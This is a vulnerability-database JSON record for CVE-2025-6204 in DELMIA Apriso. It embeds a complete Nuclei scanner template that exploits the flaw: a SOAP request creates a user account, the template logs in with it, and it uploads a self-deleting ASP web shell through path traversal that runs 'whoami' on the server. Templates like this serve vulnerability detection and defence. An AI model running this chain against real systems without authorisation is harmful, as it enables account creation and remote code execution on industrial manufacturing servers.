{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-6204/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-6204/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-6204/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-6204/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-6204/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-6204"},"sightings":{"href":"/api/v1/sightings/cve-2025-6204"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.77957,"kev":true,"percentile":0.99551},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-6204.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-6204\n\ninfo:\n name: DELMIA Apriso - Command Injection\n author: iamnoooob,rootxharsh,parthmalhotra,pdresearch\n severity: critical\n description: |\n An Improper Control of Generation of Code (code injection / file upload → RCE) vulnerability affecting DELMIA Apriso (Release 2020 → Release 2025). When an authenticated user can upload files and the upload handler fails to canonicalize filenames or enforce storage restrictions, an attacker may place executable artifacts into web-served locations (via path traversal or insufficient normalization) and achieve remote code execution under the webserver context.\n remediation: |\n Apply security patches from DELMIA for Release 2020 through Release 2025 to implement proper file upload validation and path canonicalization.\n impact: |\n Authenticated attackers can upload executable files through path traversal to achieve remote code execution on DELMIA Apriso servers.\n reference:\n - https://nvd.nist.gov/vuln/detail/CVE-2025-6204\n - https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6204\n - https://projectdiscovery.io/blog/remote-code-execution-in-delmia-apriso\n metadata:\n verified: true\n max-request: 5\n shodan-query: title:\"DELMIA Apriso\"\n classification:\n cve-id: CVE-2025-6204\n epss-score: 0.77957\n epss-percentile: 0.99551\n cwe-id: CWE-94\n cvss-metrics: \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\"\n cvss-score: 9.0\n tags: cve,cve2025,delmia,apriso,rce,traversal,upload,intrusive,vuln,kev,vkev\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nvariables:\n filename: \"{{randbase(5)}}\"\n username: \"LAST\"\n password: \"9\"\n\nhttp:\n - raw:\n - |-\n POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1\n Host: {{Hostname}}\n Content-Type: text/xml;charset=utf-8\n Soapaction: \"http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2\"\n\n \n \n \n \n <FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd" Version="1.0">
<Employee>
<GivenName>FIRST</GivenName>
<FamilyName>LAST</FamilyName>
<EmployeeNo>08262004</EmployeeNo>
<LoginName>{{username}}</LoginName>
<Password>{{password}}</Password>
<HireDate>2000-06-01T00:00:00</HireDate>
<SpokenLanguageID>1033</SpokenLanguageID>
<WrittenLanguageID>1033</WrittenLanguageID>
<EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate>
<LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate>
<EmployeeType>0</EmployeeType>
<DefaultFacility>C1P1</DefaultFacility>
<TrackLaborFlag>true</TrackLaborFlag>
<ResourceID NodeType="Field">
<Resource_Insert>
<Name>FIRST</Name>
<ResourceName>FIRST</ResourceName>
<ResourceType>1</ResourceType>
<FUID NodeType="Field"/>
</Resource_Insert>
</ResourceID>
<EmployeeRole>
<EmployeeID NodeType="Field"/>
<RoleID NodeType="Field">
<Role>
<Role>Production User</Role>
</Role>
</RoleID>
</EmployeeRole>
</Employee>
</FlexNet_Employees>\n myExternalApplication\n \n \n \n\n matchers:\n - type: word\n part: body\n words:\n - ProcessMessageASync_v2Response\n - true\n condition: and\n internal: true\n\n\n - raw:\n - |\n GET /Apriso/Portal/Kiosk/Login.aspx HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n extractors:\n - type: regex\n part: body\n name: viewstate\n group: 1\n regex:\n - '__VIEWSTATE\" value=\"(.*?)\"'\n internal: true\n\n - type: regex\n part: body\n name: eventval\n group: 1\n regex:\n - '__EVENTVALIDATION\" value=\"(.*?)\"'\n internal: true\n\n - type: regex\n part: body\n name: viewgen\n group: 1\n regex:\n - '__VIEWSTATEGENERATOR\" value=\"(.*?)\"'\n internal: true\n\n - raw:\n - |-\n POST /Apriso/Portal/Kiosk/Login.aspx?BackToStartPage=true HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE={{urlencode(viewstate)}}&__VIEWSTATEGENERATOR={{viewgen}}&__EVENTVALIDATION={{urlencode(eventval)}}&ctl04%24LoginTextBox={{username}}&ctl04%24PasswordTextbox={{password}}&ctl04%24LogInButton=Log+In&ctl04%24HiddenValue=Initial+Value&ctl04%24HiddenValue2=Initial+Value\n\n matchers:\n - type: dsl\n dsl:\n - status_code == 302\n internal: true\n\n# Self-deleteable ASP POC File\n - raw:\n - |\n POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\\..\\..\\..\\portal\\Uploads\\{{filename}}.asp HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n <%\n Response.Write \"{{randstr}}\" & \"
\"\n\n Set rs = CreateObject(\"WScript.Shell\")\n Set cmd = rs.Exec(\"cmd /c whoami\")\n o = cmd.StdOut.Readall()\n Response.write(o)\n\n Set fso = Server.CreateObject(\"Scripting.FileSystemObject\")\n fso.DeleteFile Server.MapPath(Request.ServerVariables(\"SCRIPT_NAME\")), True\n Set fso = Nothing\n %>\n\n matchers:\n - type: word\n part: body\n words:\n - Uploads\n - ResultMessage\n - FilePath\n - Success\n - \"{{filename}}.asp\"\n condition: and\n internal: true\n\n - raw:\n - |\n GET /Apriso/Portal/Uploads/{{filename}}.asp HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: word\n part: body\n words:\n - \"{{randstr}}\"\n\n extractors:\n - type: regex\n group: 1\n regex:\n -
(.*)\n# digest: 4a0a0047304502204364c6cac6ee1fc406f4a53e9e738bbae39e154a28e3b7a4cda8945395bf8b5c022100e37b2dc9da91bd6bf780f7cc40d86e81dc325599ce95e01806e914cce49e0a9d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-6204"}